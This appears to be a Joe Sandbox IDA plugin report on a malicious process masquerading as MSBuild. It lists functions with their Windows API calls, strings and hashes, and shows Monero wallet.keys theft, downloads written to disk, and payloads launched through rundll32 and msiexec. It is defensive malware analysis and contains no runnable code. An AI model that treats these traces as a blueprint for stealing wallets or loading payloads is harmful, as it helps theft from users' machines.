Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01389B20,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,01395020,00421474,01395020,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01380578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.KERNEL32(00000000,01393520,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

- , xrefs: 004185A3
%s\%s, xrefs: 0041844D
?, xrefs: 0041837A

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,01394EC0), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,01396498,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

ERROR, xrefs: 004064C9
GET, xrefs: 0040637C
ERROR, xrefs: 00406407

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01380578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 0041577D
ERROR, xrefs: 00415636
ERROR, xrefs: 00415693
ERROR, xrefs: 00415932
ERROR, xrefs: 00415849
ERROR, xrefs: 004159FE

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00413332
"" , xrefs: 0041309A
<, xrefs: 00413490
.msi, xrefs: 00413398
.dll, xrefs: 004131E5
/passive, xrefs: 0041345B
/i ", xrefs: 004133E4
C:\Windows\system32\msiexec.exe, xrefs: 004134BF

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01389B20,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction ID: 2d64d6a561879fca44fb71c04a0a84c7ebf7a9ed2d970630d286a4d87e6dc5bb
Opcode Fuzzy Hash: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction Fuzzy Hash: 955165B1D5011897CB15FB61DD91FED733CAF54304F4041ADB60A62092EE385BDACBAA

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,01394EC0), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252
a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
